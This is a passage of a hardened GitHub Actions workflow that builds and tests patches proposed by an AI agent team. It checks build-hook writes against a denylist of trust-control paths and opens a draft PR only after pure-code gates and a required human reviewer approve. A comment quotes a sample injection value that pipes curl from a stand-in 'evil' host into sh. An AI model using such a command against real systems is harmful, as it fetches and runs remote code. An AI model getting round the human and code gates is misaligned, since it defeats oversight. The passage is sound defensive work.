# author-fixed here, NOT taken from any dispatch input, so it adds no
|
|
# injection surface).
|
|
if [ -f requirements.txt ]; then
|
|
python3 -m pip install --quiet -r requirements.txt || true
|
|
fi
|
|
python3 -m pip install --quiet ruff pytest pyyaml slack_sdk slack_bolt || true
|
|
# ruff over the whole repo (lint must hold for the applied diff).
|
|
ruff check .
|
|
# The hermetic agent-team suite is authoritative (exit code IS the gate).
|
|
( cd agent-team && python3 -m pytest -q )
|
|
|
|
- name: Post-build denied-path check (build hook may not write the trust surface)
|
|
if: always()
|
|
env:
|
|
DECLARED_SCOPE: ${{ inputs.declared_scope }}
|
|
run: |
|
|
set -euo pipefail
|
|
# SECURITY (boundary 2, build-hook variant). The guard job vetted the
|
|
# candidate DIFF's paths, but a build/test hook (setup.py, a conftest,
|
|
# an npm postinstall, a Makefile) running in THIS untrusted job can
|
|
# ALSO write files — including into the trust-control surface or out of
|
|
# the declared scope. We committed the patched tree as the baseline
|
|
# above, so anything that differs now is build-hook output. We FAIL the
|
|
# job if any of it lands on a denied path or outside scope.
|
|
#
|
|
# FIX-2 / INJ-02: parse NUL-delimited, never newline-split. A malicious
|
|
# build hook can write a file whose name contains a tab/space/quote/
|
|
# NEWLINE; a `git status --porcelain | sed` + newline-split pipeline
|
|
# would either mangle or split such a name and let it evade the path
|
|
# match. So we emit machine-readable NUL-delimited records:
|
|
# * `git status --porcelain=v1 -z --untracked-files=all` (each entry
|
|
# is `XY <path>` and, for renames, `XY <new>\0<old>` — two NUL
|
|
# fields), and
|
|
# * `git diff -z --name-only HEAD` (NUL-separated tracked paths),
|
|
# and Python splits on NUL and parses rename entries explicitly. We also
|
|
# set `core.quotepath false` so git never C-quotes/escapes UTF-8 or
|
|
# special bytes in path output (belt-and-suspenders). No backslash
|
|
# mangling is done anywhere. A path that cannot be cleanly decoded is
|
|
# treated as a VIOLATION (fail closed).
|
|
git config core.quotepath false
|
|
# Write the scratch capture files OUTSIDE the checkout ($RUNNER_TEMP) so
|
|
# the `git status --untracked-files=all` below does not see — and flag —
|
|
# the check's OWN temp files as out-of-scope writes (they would otherwise
|
|
# appear as untracked and fail a narrow declared_scope).
|
|
_DIFF_Z="${RUNNER_TEMP:-/tmp}/_build_diff_z.bin"
|
|
_STATUS_Z="${RUNNER_TEMP:-/tmp}/_build_status_z.bin"
|
|
export _DIFF_Z _STATUS_Z
|
|
git diff -z --name-only HEAD > "$_DIFF_Z" || true
|
|
git status --porcelain=v1 -z --untracked-files=all > "$_STATUS_Z" || true
|
|
python3 - <<'PY'
|
|
from __future__ import annotations
|
|
|
|
import os
|
|
import posixpath
|
|
import re
|
|
import sys
|
|
|
|
# SAME denylist as the guard job + ci_gate.DENYLIST_GLOBS (boundary 2,
|
|
# INJ-03 union superset). All three are byte-for-byte identical and
|
|
# test_apply_verify_workflow_hardening asserts it; edit all three.
|
|
DENY_GLOBS: tuple[str, ...] = (
|
|
".github/workflows/**",
|
|
".github/actions/**",
|
|
".github/CODEOWNERS",
|
|
"**/CODEOWNERS",
|
|
"CODEOWNERS",
|
|
".github/dependabot.yml",
|
|
".github/dependabot.yaml",
|
|
".github/settings.yml",
|
|
"**/cdk.json",
|
|
"**/template.yml",
|
|
"**/template.yaml",
|
|
"**/samconfig.toml",
|
|
"**/*.tf",
|
|
"**/*-stack.ts",
|
|
"**/*_stack.py",
|
|
"**/iam/**",
|
|
"**/policies/**",
|
|
"**/*iam*",
|
|
"**/policy*.json",
|
|
"**/*policy*.json",
|
|
"**/*.pem",
|
|
"**/*.key",
|
|
".gitmodules",
|
|
"**/.gitmodules",
|
|
".husky/**",
|
|
"**/.husky/**",
|
|
".githooks/**",
|
|
"**/.githooks/**",
|
|
".gitattributes",
|
|
"**/.gitattributes",
|
|
".npmrc",
|
|
"**/.npmrc",
|
|
"**/__generated__/**",
|
|
"**/*.generated.*",
|
|
"**/dist/**",
|
|
"**/build/**",
|
|
"**/*.min.js",
|
|
)
|
|
_GLOB_META = set("*?[]")
|
|
|
|
def canonical(path: str) -> str:
|
|
# FIX-2 / INJ-02: paths come from `git -z` with core.quotepath=false,
|
|
# so they are RAW: real '/' separators and no C-quoting. We do NOT
|
|
# do `.replace("\\","/")` backslash mangling (a backslash is a literal
|
|
# filename byte here) and do NOT strip quotes (git did not add any).
|
|
# We only reject leading/trailing whitespace-only and escaping paths.
|
|
p = path
|
|
if not p:
|
|
raise ValueError("empty path")
|
|
norm = posixpath.normpath(p)
|
|
if norm.startswith("/") or norm == ".." or norm.startswith("../"):
|
|
raise ValueError(f"path escapes repo root: {path!r}")
|
|
return norm
|
|
|
|
def _glob_to_regex(glob: str) -> "re.Pattern[str]":
|
|
out: list[str] = []
|
|
i, n = 0, len(glob)
|
|
while i < n:
|
|
if glob[i : i + 3] == "**/":
|
|
out.append(r"(?:.*/)?")
|
|
i += 3
|
|
elif glob[i : i + 2] == "**":
|
|
out.append(r".*")
|
|
i += 2
|
|
elif glob[i] == "*":
|
|
out.append(r"[^/]*")
|
|
i += 1
|
|
elif glob[i] == "?":
|
|
out.append(r"[^/]")
|
|
i += 1
|
|
else:
|
|
out.append(re.escape(glob[i]))
|
|
i += 1
|
|
return re.compile("^" + "".join(out) + "$", re.IGNORECASE)
|
|
|
|
_DENY_RES = tuple(_glob_to_regex(g) for g in DENY_GLOBS)
|
|
|
|
def denied(path: str) -> bool:
|
|
return any(p.match(path) for p in _DENY_RES)
|
|
|
|
def _scope_prefix(entry: str) -> str | None:
|
|
keep: list[str] = []
|
|
for part in entry.split("/"):
|
|
if any(c in _GLOB_META for c in part):
|
|
break
|
|
keep.append(part)
|
|
prefix = "/".join(keep)
|
|
return prefix or None
|
|
|
|
def safe_scope(scope: list[str]) -> list[str]:
|
|
safe: list[str] = []
|
|
for g in scope:
|
|
try:
|
|
canon = canonical(g)
|
|
except ValueError:
|
|
continue
|
|
prefix = _scope_prefix(canon)
|
|
if prefix is not None and prefix not in safe:
|
|
safe.append(prefix)
|
|
return safe
|
|
|
|
def in_scope(path: str, scope: list[str]) -> bool:
|
|
return any(path == e or path.startswith(e + "/") for e in scope)
|
|
|
|
def _read_z(path: str) -> list[bytes]:
|
|
"""Read a NUL-delimited file into a list of byte records (no trailing empty)."""
|
|
try:
|
|
with open(path, "rb") as fh:
|
|
blob = fh.read()
|
|
except FileNotFoundError:
|
|
return []
|
|
if not blob:
|
|
return []
|
|
parts = blob.split(b"\x00")
|
|
if parts and parts[-1] == b"":
|
|
parts.pop()
|
|
return parts
|
|
|
|
def _decode(field: bytes) -> str | None:
|
|
"""Strictly decode a path field as UTF-8; None if it cannot be cleanly decoded."""
|
|
try:
|
|
return field.decode("utf-8")
|
|
except UnicodeDecodeError:
|
|
return None
|
|
|
|
def _diff_paths() -> tuple[list[str], list[bytes]]:
|
|
"""`git diff -z --name-only` records: each NUL field is one path."""
|
|
ok: list[str] = []
|
|
bad: list[bytes] = []
|
|
for rec in _read_z(os.environ["_DIFF_Z"]):
|
|
dec = _decode(rec)
|
|
(ok if dec is not None else bad).append(dec if dec is not None else rec)
|
|
return ok, bad
|
|
|
|
def _status_paths() -> tuple[list[str], list[bytes]]:
|
|
"""Parse `git status --porcelain=v1 -z` records.
|
|
|
|
Each entry is `XY <path>`; a rename/copy (X or Y in R/C) is followed
|
|
by a SECOND field, the rename/copy SOURCE, in a separate NUL record.
|
|
We surface BOTH the destination and the source (a rename INTO or OUT
|
|
of a denied/out-of-scope path must be caught). A record whose path
|
|
field cannot be cleanly UTF-8 decoded is reported as a violation.
|
|
"""
|
|
ok: list[str] = []
|
|
bad: list[bytes] = []
|
|
recs = _read_z(os.environ["_STATUS_Z"])
|
|
i = 0
|
|
while i < len(recs):
|
|
rec = recs[i]
|
|
# `XY ` is a 3-byte prefix: two status codes + a space.
|
|
if len(rec) < 4:
|
|
bad.append(rec)
|
|
i += 1
|
|
continue
|
|
xy = rec[:2]
|
|
body = rec[3:]
|
|
dec = _decode(body)
|
|
(ok if dec is not None else bad).append(dec if dec is not None else body)
|
|
# Rename (R) / copy (C) in either index or worktree column carries
|
|
# a following SOURCE field as its own record — consume + check it.
|
|
if xy[0:1] in (b"R", b"C") or xy[1:2] in (b"R", b"C"):
|
|
i += 1
|
|
if i < len(recs):
|
|
src = recs[i]
|
|
sdec = _decode(src)
|
|
(ok if sdec is not None else bad).append(
|
|
sdec if sdec is not None else src
|
|
)
|
|
i += 1
|
|
return ok, bad
|
|
|
|
def main() -> int:
|
|
diff_ok, diff_bad = _diff_paths()
|
|
status_ok, status_bad = _status_paths()
|
|
raw_paths = sorted(set(diff_ok) | set(status_ok))
|
|
undecodable = diff_bad + status_bad
|
|
|
|
violations: list[str] = []
|
|
# FIX-2: a path that cannot be cleanly decoded is a VIOLATION (fail
|
|
# closed) — we never silently drop or lossily replace a build-written
|
|
# filename the path match cannot reason about.
|
|
for raw in undecodable:
|
|
violations.append(
|
|
f"build hook wrote an undecodable path: {raw!r}"
|
|
)
|
|
|
|
if not raw_paths and not violations:
|
|
print("post-build check: build hook wrote no files; clean")
|
|
return 0
|
|
|
|
scope = safe_scope(
|
|
[s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
|
|
)
|
|
|
|
for raw in raw_paths:
|
|
try:
|
|
path = canonical(raw)
|
|
except ValueError:
|
|
violations.append(f"build hook wrote an escaping path: {raw!r}")
|
|
continue
|
|
if denied(path):
|
|
violations.append(f"build hook wrote a trust-control path: {path}")
|
|
elif scope and not in_scope(path, scope):
|
|
violations.append(f"build hook wrote out of declared scope: {path}")
|
|
|
|
if violations:
|
|
for v in violations:
|
|
print(f"::error::{v}")
|
|
print("::error::build hook wrote a denied/out-of-scope path; failing job")
|
|
return 1
|
|
print(f"post-build check: {len(raw_paths)} build-written path(s); all clean")
|
|
return 0
|
|
|
|
sys.exit(main())
|
|
PY
|
|
|
|
- name: Emit non-authoritative report (job conclusion is the truth)
|
|
if: always()
|
|
env:
|
|
# CWE-94 env-indirection. `inputs.task_id` is attacker-influenceable
|
|
# (the dispatcher passes it from task state) and GitHub expands every
|
|
# `${{ }}` into the shell SCRIPT TEXT before the shell runs — so a
|
|
# value like `"; curl evil | sh; #` would be interpolated as code and
|
|
# `%s`/quoting in printf would NOT stop it. Binding it to an env var
|
|
# and referencing it as a quoted shell variable ("$TASK_ID") means the
|
|
# shell sees it as DATA, never as script. python's json.dumps then
|
|
# encodes it safely into the report.
|
|
TASK_ID: ${{ inputs.task_id }}
|
|
run: |
|
|
set -euo pipefail
|
|
# This report is consumed by the gate as DATA for the verifier agent's
|
|
# next-fix reasoning. It is NOT the pass/fail decision — the gate reads
|
|
# the AUTHENTICATED job conclusion (boundary 4), never this file.
|
|
mkdir -p ./_report
|
|
# Build the JSON with python's json encoder (reads TASK_ID from the
|
|
# environment) so the untrusted task_id cannot break out of the string
|
|
# or inject JSON structure.
|
|
python3 - <<'PY' > ./_report/report.json
|
|
import json
|
|
import os
|
|
|
|
print(
|
|
json.dumps(
|
|
{
|
|
"task_id": os.environ["TASK_ID"],
|
|
"note": "non-authoritative; gate uses job conclusion",
|
|
}
|
|
)
|
|
)
|
|
PY
|
|
|
|
- name: Upload non-authoritative report
|
|
if: always()
|
|
uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3
|
|
with:
|
|
name: build-test-report-${{ inputs.task_id }}
|
|
path: ./_report/report.json
|
|
retention-days: 7
|
|
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
# JOB 3 — gate-and-pr (boundaries 1 + 4 + 5). PRIVILEGED, but it NEVER checks
|
|
# out or executes patch-controlled code. It reads the AUTHENTICATED conclusion
|
|
# of `build-test` (via needs.*.result — GitHub-controlled, patch-independent)
|
|
# keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts
|
|
# any artifact the patch wrote. Pass/fail is pure code here, not the LLM.
|
|
#
|
|
# AUTH (LOCKED): the privileged write here is a GitHub App INSTALLATION TOKEN
|
|
# with `pull-requests: write` — ZERO cloud credentials, no token-federation.
|
|
# The token is minted at run
|
|
# time by actions/create-github-app-token (SHA-pinned) from the App id +
|
|
# private key held as repo/org secrets, and is scoped to exactly the grant the
|
|
# App installation has. The required HUMAN reviewer that must approve before
|
|
# this job's `environment` runs is configured on the `agent-apply` GitHub
|
|
# Environment at PROVISIONING (it cannot be expressed in YAML — see the
|
|
# provisioning runbook). This job NEVER checks out or executes patch code: it
|
|
# reads the AUTHENTICATED needs.*.result conclusions, and only on a clean pass
|
|
# opens a DRAFT PR. The draft-PR step stays hard-disabled (`if: ${{ false }}`)
|
|
# until provisioning creates the App + environment + branch protection; the
|
|
# flip is the single remaining provisioning action.
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
gate-and-pr:
|
|
needs: [guard, build-test]
|
|
# Defense-in-depth: the privileged job NEVER runs on a failed/skipped/
|
|
# cancelled guard or build-test. We still want it to run on a build-test
|
|
# FAILURE only to record the authoritative conclusion — but until
|
|
# provisioning this job holds ZERO privilege and does ZERO privileged work
|
|
# (the gate is pure-code, the token + draft-PR steps are `if: ${{ false }}`),
|
|
# so gating on both upstream jobs succeeding is the safe posture: a test
|
|
# dispatch today runs only the credential-less guard + build-test. At
|
|
# provisioning, revisit whether to relax to `always()` to record failures.
|
|
if: always() && needs.guard.result == 'success' && needs.build-test.result == 'success'
|
|
runs-on: ubuntu-latest
|
|
timeout-minutes: 5
|
|
# PROVISIONING-TIME PRIVILEGE (BLOCK-1 / FIX-4 / QUESTION-2). Privileged
|
|
# declarations must be PROVISIONING-time, not live: an `environment:` that
|
|
# does not exist yet and a `pull-requests: write` grant are unprotected holes
|
|
# if declared before the `agent-apply` environment (with its required
|
|
# reviewer) is created. So both stay COMMENTED here — the exact deploy-gated
|
|
# pattern the removed cloud token-federation grant used — and are uncommented
|
|
# at provisioning AFTER the environment exists. Today this job is
|
|
# credential-less and runs ONLY the pure-code gate.
|
|
#
|
|
# The `agent-apply` GitHub Environment is the human-gate home: its REQUIRED
|
|
# REVIEWER (and optional wait timer / branch policy) is configured on the
|
|
# Environment at PROVISIONING — GitHub holds the job here until a human
|
|
# approves. This cannot be authored in YAML; the `environment:` reference is
|
|
# the hook the provisioning step attaches the reviewer to.
|
|
# FLIPPED LIVE 2026-06-22 (provisioning done: agent-apply env + required
|
|
# reviewer amoussa1229 + the GitHub App secrets exist). GitHub holds this job
|
|
# at the environment gate until the human reviewer approves each run.
|
|
# MANDATORY INVARIANTS (do not remove): (1) the agent-apply environment's
|
|
# required reviewer is the human gate — removing/weakening it makes the
|
|
# privileged job auto-run; (2) runs-on stays GitHub-hosted (never self-hosted)
|
|
# — a self-hosted runner could be attacker-influenced. Both are asserted by
|
|
# tests/test_apply_verify_workflow_hardening.py.
|
|
environment:
|
|
name: agent-apply
|
|
permissions:
|
|
contents: read
|
|
# The ONLY privileged grant: open a draft PR via the App installation
|
|
# token. The required reviewer on the agent-apply environment gates every
|
|
# run; the draft-PR + app-token STEPS additionally run only on a clean gate.
|
|
pull-requests: write
|
|
# NOTE: there is deliberately NO token-federation permission here — this
|
|
# workflow uses a GitHub App installation token only, no cloud provider.
|
|
steps:
|
|
- name: Harden runner (privileged job; block egress)
|
|
uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4
|
|
with:
|
|
# DEPLOY: this allowlist is GitHub API only (App-token mint + gh pr
|
|
# create). Trim/confirm per target repo at provisioning — an
|
|
# over-broad allowlist weakens the egress boundary even on the
|
|
# privileged job. No cloud endpoints: the auth model is a GitHub App
|
|
# token only, with no cloud token-federation.
|
|
egress-policy: block
|
|
allowed-endpoints: >
|
|
github.com:443
|
|
api.github.com:443
|
|
|
|
- name: Pure-code pass/fail gate over authenticated results
|
|
id: gate
|
|
env:
|
|
# These come from GitHub's job orchestration, NOT from the patch.
|
|
GUARD_RESULT: ${{ needs.guard.result }}
|
|
BUILD_TEST_RESULT: ${{ needs.build-test.result }}
|
|
DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
|
|
EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }}
|
|
RUN_ID: ${{ github.run_id }}
|
|
run: |
|
|
set -euo pipefail
|
|
# Deterministic, patch-independent decision. Consumes ONLY the
|
|
# authenticated needs.*.result values + the hash binding (all from
|
|
# GitHub's orchestration, never from a file the patch wrote). Mirrors
|
|
# secrev's "one pure-code script owns the block decision." The
|
|
# verifier AGENT only reads failures to propose a fix; it cannot
|
|
# declare success here.
|
|
python3 - <<'PY'
|
|
from __future__ import annotations
|
|
|
|
import os
|
|
import sys
|
|
|
|
def gate(
|
|
*,
|
|
guard_result: str,
|
|
build_test_result: str,
|
|
diff_hash: str,
|
|
expected_hash: str,
|
|
run_id: str,
|
|
) -> tuple[bool, str]:
|
|
"""Return (passed, reason) from authenticated, patch-independent inputs.
|
|
|
|
A pass requires: the guard job succeeded (integrity + denylist +
|
|
scope all held), the build-test job succeeded, and the hash the
|
|
guard exported equals the ledger-recorded expected hash bound to
|
|
this run. Anything else blocks.
|
|
"""
|
|
if not run_id:
|
|
return False, "missing run id; cannot bind decision to a run"
|
|
# FAIL-CLOSED on an empty/missing hash. Without this guard an empty
|
|
# guard-exported hash AND an empty expected hash compare equal
|
|
# ('' == ''), so a run where the hash binding never populated would
|
|
# SILENTLY satisfy the binding check — empty must never count as a
|
|
# match. Require both sides present (and equal) before binding holds.
|
|
g = diff_hash.strip().lower()
|
|
e = expected_hash.strip().lower()
|
|
if not g or not e:
|
|
return False, (
|
|
"empty/missing hash; refusing to bind "
|
|
f"(guard={diff_hash!r} expected={expected_hash!r})"
|
|
)
|
|
if g != e:
|
|
return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}"
|
|
if guard_result != "success":
|
|
return False, f"guard did not pass: {guard_result!r}"
|
|
if build_test_result != "success":
|
|
return False, f"build-test did not pass: {build_test_result!r}"
|
|
return True, "authenticated build/test passed and diff hash is bound"
|
|
|
|
def main() -> int:
|
|
passed, reason = gate(
|
|
guard_result=os.environ.get("GUARD_RESULT", ""),
|
|
build_test_result=os.environ.get("BUILD_TEST_RESULT", ""),
|
|
diff_hash=os.environ.get("DIFF_HASH", ""),
|
|
expected_hash=os.environ.get("EXPECTED_DIFF_HASH", ""),
|
|
run_id=os.environ.get("RUN_ID", ""),
|
|
)
|
|
if passed:
|
|
print(f"GATE PASS: {reason}")
|
|
if (gh_out := os.environ.get("GITHUB_OUTPUT")):
|
|
with open(gh_out, "a", encoding="utf-8") as fh:
|
|
fh.write("gate=pass\n")
|
|
return 0
|
|
print(f"::error::GATE BLOCK: {reason}")
|
|
return 1
|
|
|
|
sys.exit(main())
|
|
PY
|
|
|
|
- name: "Mint GitHub App installation token (pull-requests write only)"
|
|
id: app-token
|
|
# LIVE: mint the App token ONLY on a clean pure-code gate pass (same
|
|
# condition as the draft-PR step, so the two flip together). The job
|
|
# itself is already held at the agent-apply environment's required-reviewer
|
|
# gate, so this never runs unapproved.
|
|
if: ${{ steps.gate.outputs.gate == 'pass' }}
|
|
uses: actions/create-github-app-token@5d869da34e18e7287c1daad50e0b8ea0f506ce69 # v1.11.0
|
|
with:
|
|
# PROVISIONING: create the GitHub App (single permission:
|
|
# `pull-requests: write`), install it on the target repo, and store
|
|
# its id + private key as these secrets. The minted token is scoped to
|
|
# exactly the App installation's grant — narrower than a PAT, and it
|
|
# auto-expires (~1h). No cloud credentials, no token-federation.
|
|
app-id: ${{ secrets.AGENT_APPLY_APP_ID }}
|
|
private-key: ${{ secrets.AGENT_APPLY_APP_PRIVATE_KEY }}
|
|
|
|
- name: Open DRAFT PR (DEPLOY-GATED — flip at provisioning only)
|
|
# belt-and-suspenders: even once flipped, the draft PR opens ONLY on a
|
|
# clean authenticated pass. Target condition for the provisioning flip:
|
|
#
|
|
# if: >-
|
|
# always()
|
|
# && needs.guard.result == 'success'
|
|
# && needs.build-test.result == 'success'
|
|
# && steps.gate.outputs.gate == 'pass'
|
|
#
|
|
# LIVE: opens the draft PR ONLY on a clean authenticated pass, and only
|
|
# after the agent-apply environment's required reviewer approved the job.
|
|
if: >-
|
|
always()
|
|
&& needs.guard.result == 'success'
|
|
&& needs.build-test.result == 'success'
|
|
&& steps.gate.outputs.gate == 'pass'
|
|
env:
|
|
# The App installation token (pull-requests: write). gh reads it from
|
|
# GH_TOKEN. Untrusted values used below are env-indirected (CWE-94).
|
|
GH_TOKEN: ${{ steps.app-token.outputs.token }}
|
|
TASK_ID: ${{ inputs.task_id }}
|
|
DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
|
|
# The branch the trusted dispatcher already pushed with the diff
|
|
# applied; the PR opens with this as --head (the box pushed nothing).
|
|
HEAD_BRANCH: ${{ inputs.head_branch }}
|
|
# The repo the PR is opened in (the App installation's repo).
|
|
GH_REPO: ${{ github.repository }}
|
|
run: |
|
|
set -euo pipefail
|
|
# Draft PR ONLY; never auto-merge (D2). The required reviewer on the
|
|
# agent-apply environment + branch protection + the security review +
|
|
# the Claude Code App review are the final enforcement (boundary 5).
|
|
# The agent NEVER merges.
|
|
#
|
|
# §4.6 PR-metadata sanitization: the title/body embed only TASK_ID (a
|
|
# coordinator-minted thread id) and DIFF_HASH (a computed sha) — never
|
|
# the raw diff or any LLM free-text. Both are env-indirected and only
|
|
# ever consumed as printf DATA (no shell interpolation, CWE-94).
|
|
# Defense-in-depth: reject a task_id / head_branch that is not a safe
|
|
# token before using them, so a malformed dispatch input cannot smuggle
|
|
# control characters into the PR text or the git ref.
|
|
case "$TASK_ID" in
|
|
*[!A-Za-z0-9._-]* | "" ) echo "::error::unsafe task_id"; exit 1 ;;
|
|
esac
|
|
# Reject not just bad chars/empty, but also a leading/trailing slash,
|
|
# any '..' segment, or '//' — so a tampered head_branch can never be a
|
|
# git ref-traversal or resolve to an unintended ref (CWE-88).
|
|
case "$HEAD_BRANCH" in
|
|
*[!A-Za-z0-9._/-]* | "" | /* | */ | *..* | *//* )
|
|
echo "::error::unsafe head_branch"; exit 1 ;;
|
|
esac
|
|
title="$(printf 'agent-apply: %s (diff %s)' "$TASK_ID" "$DIFF_HASH")"
|
|
body="$(printf 'Automated draft PR from the agent-team apply/verify pipeline.\n\nTask: %s\nDiff hash: %s\nHead: %s\n\nDRAFT ONLY — never auto-merged. Requires: green required checks, security review, Claude Code App review, and human approval (D2, boundary 5).' "$TASK_ID" "$DIFF_HASH" "$HEAD_BRANCH")"
|
|
gh pr create \
|
|
--draft \
|
|
--title "$title" \
|
|
--body "$body" \
|
|
--base main \
|
|
--head "$HEAD_BRANCH"
|
|
echo "draft PR opened (task=$TASK_ID, head=$HEAD_BRANCH); never auto-merged."
|
|
|
|
- name: "Emit audit log entry (task + diff hash + gate result)"
|
|
# WS3 detective control (additive): an unconditional audit trail for
|
|
# every run so every dispatch attempt is traceable in the job log,
|
|
# regardless of outcome. This SUPPLEMENTS — it does not replace — the
|
|
# agent-apply environment's required-reviewer gate, which remains the
|
|
# preventive human approval before this privileged job runs.
|
|
if: always()
|
|
env:
|
|
TASK_ID: ${{ inputs.task_id }}
|
|
DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
|
|
RUN_ID: ${{ github.run_id }}
|
|
GATE_RESULT: ${{ steps.gate.outputs.gate }}
|
|
GH_REPO: ${{ github.repository }}
|
|
run: |
|
|
set -euo pipefail
|
|
echo "[agent-apply audit] task=${TASK_ID} diff_hash=${DIFF_HASH} run_id=${RUN_ID} gate=${GATE_RESULT} repo=${GH_REPO}"
|